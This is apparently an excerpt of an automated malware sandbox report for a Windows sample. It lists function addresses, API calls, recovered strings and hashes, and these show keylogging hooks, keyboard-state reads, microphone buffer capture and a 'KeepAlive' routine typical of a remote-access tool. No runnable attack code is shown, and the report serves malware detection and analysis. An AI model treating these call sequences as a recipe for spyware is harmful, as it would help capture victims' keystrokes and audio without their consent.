                                                                                            Function 00417ECF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SHCreateMemStream.SHLWAPI(00000000,00000000,?,?,?,00000000), ref: 00417EEA
                                                                                              • Part of subcall function 00417988: GdipLoadImageFromStream.GDIPLUS(?,?,?,00417E11,00000000,?,?,?,?,00000000), ref: 0041799C
                                                                                            • SHCreateMemStream.SHLWAPI(00000000,00000000,00000000,?,?,?,?,00000000), ref: 00417F0F
                                                                                              • Part of subcall function 004179FB: GdipSaveImageToStream.GDIPLUS(?,?,?,?,00000000,00417E67,00000000,?,?), ref: 00417A0D
                                                                                              • Part of subcall function 004179AB: GdipDisposeImage.GDIPLUS(?,00417EC2), ref: 004179B4
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Stream$GdipImage$Create$DisposeFromLoadSave
                                                                                            • String ID: image/png
                                                                                            • API String ID: 1291196975-2966254431
                                                                                            • Opcode ID: af5d1f129cd5bd430e2235d416c6cbdfecbf91bf363856a8bd94ba4e637429f2
                                                                                            • Instruction ID: ee77ca1c213fe0bce41e511bbcee913114c194eb695e7cc9890245c9a4d1a3c2
                                                                                            • Opcode Fuzzy Hash: af5d1f129cd5bd430e2235d416c6cbdfecbf91bf363856a8bd94ba4e637429f2
                                                                                            • Instruction Fuzzy Hash: B9219F71204210AFC301AB61CC88DBFBBBDEFCA714B00052EF94693261DB389945CBA6
                                                                                            Function 00449A39 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: _free
                                                                                            • String ID: P*G$T*G
                                                                                            • API String ID: 269201875-829108958
                                                                                            • Opcode ID: 2f751c0efca173fa551c184794475f0d61f37e7d68ea2317de90041697b8eca5
                                                                                            • Instruction ID: a7437cf58198a632dccd7940a762e636932f246661e7801d2bdfb2ecead32fa8
                                                                                            • Opcode Fuzzy Hash: 2f751c0efca173fa551c184794475f0d61f37e7d68ea2317de90041697b8eca5
                                                                                            • Instruction Fuzzy Hash: 6111E4711443429FFB20DF26D441B53B3E8EB55368B30842FE48A9B281DB78AC859788
                                                                                            Function 004049BA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68timeCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetLocalTime.KERNEL32(?,00474EE0,004755B0,?,?,?,?,?,?,?,00414F0F,?,00000001,0000004C,00000000), ref: 004049F1
                                                                                              • Part of subcall function 0041A891: GetLocalTime.KERNEL32(00000000), ref: 0041A8AB
                                                                                            • GetLocalTime.KERNEL32(?,00474EE0,004755B0,?,?,?,?,?,?,?,00414F0F,?,00000001,0000004C,00000000), ref: 00404A4E
                                                                                            Strings
                                                                                            • KeepAlive | Enabled | Timeout: , xrefs: 004049E5
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: LocalTime
                                                                                            • String ID: KeepAlive | Enabled | Timeout:
                                                                                            • API String ID: 481472006-1507639952
                                                                                            • Opcode ID: 8041a815894d0e19ae9c3f31f3339102693e93ea7c7274e98ffd87d03b4dad70
                                                                                            • Instruction ID: 07f09c1926c096f578aeb4a964dedba27d52497869334d5e310e707c12b0f234
                                                                                            • Opcode Fuzzy Hash: 8041a815894d0e19ae9c3f31f3339102693e93ea7c7274e98ffd87d03b4dad70
                                                                                            • Instruction Fuzzy Hash: 932131B1A042806BD600F77A980635B7B9497C4314F84043FE90C562E2EEBD59898BAF
                                                                                            Function 00448B07 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetStdHandle.KERNEL32(000000F6), ref: 00448B53
                                                                                            • GetFileType.KERNEL32(00000000), ref: 00448B65
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: FileHandleType
                                                                                            • String ID: =z
                                                                                            • API String ID: 3000768030-1040794624
                                                                                            • Opcode ID: 709764ea7de61a1ee6b1c7a208d8f310102b3ec00a3095b3a15ed26258e7c2c3
                                                                                            • Instruction ID: 4d96847604c3c5e89c92e0bae5a56447120e6fba85ff24299cab8e9791f5b951
                                                                                            • Opcode Fuzzy Hash: 709764ea7de61a1ee6b1c7a208d8f310102b3ec00a3095b3a15ed26258e7c2c3
                                                                                            • Instruction Fuzzy Hash: E71196B15047814EE7304A3D8C8962B6A54D752334B38071FF5B6967F1CF28E882924D
                                                                                            Function 0043AE40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: _free
                                                                                            • String ID: =z
                                                                                            • API String ID: 269201875-1040794624
                                                                                            • Opcode ID: d7be576e25eb8f91f1c7522a8e83579c420102f8c2aee4373051d9f21f228018
                                                                                            • Instruction ID: bbcf2e6bbb9829bcdebbaa4262a7be325da62559df7761f078343b1b3ea7e5ad
                                                                                            • Opcode Fuzzy Hash: d7be576e25eb8f91f1c7522a8e83579c420102f8c2aee4373051d9f21f228018
                                                                                            • Instruction Fuzzy Hash: EF11B471A803114AE7245F39BD42F563254E704734F15122BEA79DB2E0E7BCC8C2568A
                                                                                            Function 100016AA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 61COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: _strlen
                                                                                            • String ID: : $Se.
                                                                                            • API String ID: 4218353326-4089948878
                                                                                            • Opcode ID: a70abbbd33418fa47f4ed48ac4096c545584c77cf093be3414735b4e2c88b945
                                                                                            • Instruction ID: 66f447a9efa091531784e06c0e565222335d100d85517175c1dac28435e0d9bb
                                                                                            • Opcode Fuzzy Hash: a70abbbd33418fa47f4ed48ac4096c545584c77cf093be3414735b4e2c88b945
                                                                                            • Instruction Fuzzy Hash: 2F11E7B5904249AEDB11DFA8D841BDEFBFCEF09244F104056E545E7252E6706B02C765
                                                                                            Function 0041A891 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59timeCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetLocalTime.KERNEL32(00000000), ref: 0041A8AB
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: LocalTime
                                                                                            • String ID: | $%02i:%02i:%02i:%03i
                                                                                            • API String ID: 481472006-2430845779
                                                                                            • Opcode ID: afef497c7e85687629228501822842829136de54c3cb5a5b355d60fe538227d5
                                                                                            • Instruction ID: bea5c42f2d95e84a76b62dfc34e9438b8882b4e2d456746f57979f9b7964cbe7
                                                                                            • Opcode Fuzzy Hash: afef497c7e85687629228501822842829136de54c3cb5a5b355d60fe538227d5
                                                                                            • Instruction Fuzzy Hash: 0F114C725082405BC704EBA5D8969BF77E8AB94708F10093FF885A31E1EF38DA44C69E
                                                                                            Function 004126C6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51registryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 004126EA
                                                                                            • RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00412720
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: QueryValue
                                                                                            • String ID: TeF
                                                                                            • API String ID: 3660427363-331424825
                                                                                            • Opcode ID: 332335b9a8d5ab1f74cfdc993aa093631c91251cfcd46834e77bd00859e03ce8
                                                                                            • Instruction ID: 3cb62dd7824af05a29d95bf947337739d939994cfcf273d244ad568f401b79ba
                                                                                            • Opcode Fuzzy Hash: 332335b9a8d5ab1f74cfdc993aa093631c91251cfcd46834e77bd00859e03ce8
                                                                                            • Instruction Fuzzy Hash: 650184B6A00108BFEB05AB95DD46EFF7ABDEB44240F14007AF901E2241E6B0AF049664
                                                                                            Function 0041A07F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • PathFileExistsW.SHLWAPI(00000000), ref: 0041A0A4
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ExistsFilePath
                                                                                            • String ID: TeF$alarm.wav
                                                                                            • API String ID: 1174141254-486219832
                                                                                            • Opcode ID: 7a03e0fb703876d65ed7bbb9b0d62c63c1b855309091a989c925cea802d521e9
                                                                                            • Instruction ID: 6b61ed94da76c6dc8509722386f9763649bd27766d5c45ddbf5277e073f3d638
                                                                                            • Opcode Fuzzy Hash: 7a03e0fb703876d65ed7bbb9b0d62c63c1b855309091a989c925cea802d521e9
                                                                                            • Instruction Fuzzy Hash: 4D01D23160520166C604B636D8576EE3A458BC0728F50813FF88A666E2EF7CAED5C2DF
                                                                                            Function 0040A767 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0040A876: GetLocalTime.KERNEL32(?,?,00000000), ref: 0040A884
                                                                                              • Part of subcall function 0040A876: wsprintfW.USER32 ref: 0040A905
                                                                                              • Part of subcall function 0041A891: GetLocalTime.KERNEL32(00000000), ref: 0041A8AB
                                                                                            • CloseHandle.KERNEL32(?), ref: 0040A7CA
                                                                                            • UnhookWindowsHookEx.USER32 ref: 0040A7DD
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: LocalTime$CloseHandleHookUnhookWindowswsprintf
                                                                                            • String ID: Online Keylogger Stopped
                                                                                            • API String ID: 1623830855-1496645233
                                                                                            • Opcode ID: 35ba4c7c78ed460c9b7c424366b5195fc4f8ffe71987b6033e9781419eb698ac
                                                                                            • Instruction ID: da65c2120251a34d34924486d515db36f90714a8cba0a7d82e96ebed52376b78
                                                                                            • Opcode Fuzzy Hash: 35ba4c7c78ed460c9b7c424366b5195fc4f8ffe71987b6033e9781419eb698ac
                                                                                            • Instruction Fuzzy Hash: 5901F131A043019BCB25BB35C80B7AEBBB19B45314F40406EE441225D2EB7999A6C3DF
                                                                                            Function 10001EDE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • __CxxThrowException@8.LIBVCRUNTIME ref: 10002903
                                                                                              • Part of subcall function 100035D2: RaiseException.KERNEL32(?,?,?,10002925,00000000,00000000,00000000,?,?,?,?,?,10002925,?,100121B8), ref: 10003632
                                                                                            • __CxxThrowException@8.LIBVCRUNTIME ref: 10002920
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: Exception@8Throw$ExceptionRaise
                                                                                            • String ID: Unknown exception
                                                                                            • API String ID: 3476068407-410509341
                                                                                            • Opcode ID: 00f05d2547b3034e4c7bbe2eae49a616f435d37e9c126e5e725cfb9fdfb6d2bb
                                                                                            • Instruction ID: 696891806b75a506f07e96a947ab79166ff1ea0d2f17bc9dac180a151cc952bd
                                                                                            • Opcode Fuzzy Hash: 00f05d2547b3034e4c7bbe2eae49a616f435d37e9c126e5e725cfb9fdfb6d2bb
                                                                                            • Instruction Fuzzy Hash: 2BF0A47890420D77AB04E6E5EC4599D77ACDB006D0F508161FD1496499EF31FA658690
                                                                                            Function 00448973 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00444CDC: EnterCriticalSection.KERNEL32(-00472558,?,0044246B,00000000,0046EAD0,0000000C,00442426,0000000A,?,?,00448949,0000000A,?,00447184,00000001,00000364), ref: 00444CEB
                                                                                            • DeleteCriticalSection.KERNEL32(00471090,?,?,?,?,0046ECB8,00000010,0043AF25), ref: 004489D5
                                                                                            • _free.LIBCMT ref: 004489E3
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CriticalSection$DeleteEnter_free
                                                                                            • String ID: =z
                                                                                            • API String ID: 1836352639-1040794624
                                                                                            • Opcode ID: 9d76c620edcff08112ad37d792de4fd9c43109646451596060a8f89fb46b25c4
                                                                                            • Instruction ID: 148d79857643bc82b319f24316268943629f83d9e3709ab7633481e59fa6f6a8
                                                                                            • Opcode Fuzzy Hash: 9d76c620edcff08112ad37d792de4fd9c43109646451596060a8f89fb46b25c4
                                                                                            • Instruction Fuzzy Hash: F51161715002119FE715DFA9E946BAD73B0FB08724F11411EE5A5AB2E2CF7CE8829B0D
                                                                                            Function 004016E8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • waveInPrepareHeader.WINMM(0079DC58,00000020,?,?,00000000,00476B98,00474EE0,?,00000000,00401913), ref: 00401747
                                                                                            • waveInAddBuffer.WINMM(0079DC58,00000020,?,00000000,00401913), ref: 0040175D
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: wave$BufferHeaderPrepare
                                                                                            • String ID: XMG
                                                                                            • API String ID: 2315374483-813777761
                                                                                            • Opcode ID: 620c8429846d9d472bb74b0b690090328b51b047c9fc1556c206adb706f1508e
                                                                                            • Instruction ID: 26799fbdff8c3ec01ad48014b311b0d3f370155dffc0330205344997a7b0d52a
                                                                                            • Opcode Fuzzy Hash: 620c8429846d9d472bb74b0b690090328b51b047c9fc1556c206adb706f1508e
                                                                                            • Instruction Fuzzy Hash: 6501AD71300300AFD7209F39ED45A69BBB5EF89315B00413EB808E33A2EB74AC50CB98
                                                                                            Function 004479A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • IsValidLocale.KERNEL32(00000000,z?D,00000000,00000001,?,?,00443F7A,?,?,?,?,00000004), ref: 004479EC
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: LocaleValid
                                                                                            • String ID: IsValidLocaleName$z?D
                                                                                            • API String ID: 1901932003-2490211753
                                                                                            • Opcode ID: 030ca6b5b062e3e6eb463140e6e5805cf12db518d0019a9c378278714199a4d0
                                                                                            • Instruction ID: 892bc6e93789200f6c95030ba230210178196c8f1f686432b442ac7872abfc60
                                                                                            • Opcode Fuzzy Hash: 030ca6b5b062e3e6eb463140e6e5805cf12db518d0019a9c378278714199a4d0
                                                                                            • Instruction Fuzzy Hash: 06F0E930645218B7DB186F258C06F5E7B95CB05716F50807BFC047A293DE794E0295DD
                                                                                            Function 00401D91 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: H_prolog
                                                                                            • String ID: XMG$XMG
                                                                                            • API String ID: 3519838083-886261599
                                                                                            • Opcode ID: 94d942c2b9cd7cd452367b65107360caec8e392a141153fe325b9bee2a1bda9b
                                                                                            • Instruction ID: 0a877421dfc5135a28098138b17ad9f721677e320a6d1c8a6a2adbe775497da7
                                                                                            • Opcode Fuzzy Hash: 94d942c2b9cd7cd452367b65107360caec8e392a141153fe325b9bee2a1bda9b
                                                                                            • Instruction Fuzzy Hash: D4F0E9B1B00211ABC715BB65880569EB768EF41369F01827FB416772E1CFBD5D04975C
                                                                                            Function 0040AD56 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32keyboardCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetKeyState.USER32(00000011), ref: 0040AD5B
                                                                                              • Part of subcall function 00409B10: GetForegroundWindow.USER32(?,?,00475108), ref: 00409B3F
                                                                                              • Part of subcall function 00409B10: GetWindowThreadProcessId.USER32(00000000,?), ref: 00409B4B
                                                                                              • Part of subcall function 00409B10: GetKeyboardLayout.USER32(00000000), ref: 00409B52
                                                                                              • Part of subcall function 00409B10: GetKeyState.USER32(00000010), ref: 00409B5C
                                                                                              • Part of subcall function 00409B10: GetKeyboardState.USER32(?,?,00475108), ref: 00409B67
                                                                                              • Part of subcall function 00409B10: ToUnicodeEx.USER32(0047515C,00000000,?,?,00000010,00000000,00000000), ref: 00409B8A
                                                                                              • Part of subcall function 00409B10: ToUnicodeEx.USER32(?,?,00000010,00000000,00000000), ref: 00409BE3
                                                                                              • Part of subcall function 00409D58: SetEvent.KERNEL32(?,?,?,0040AF3F,?,?,?,?,?,00000000), ref: 00409D84
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
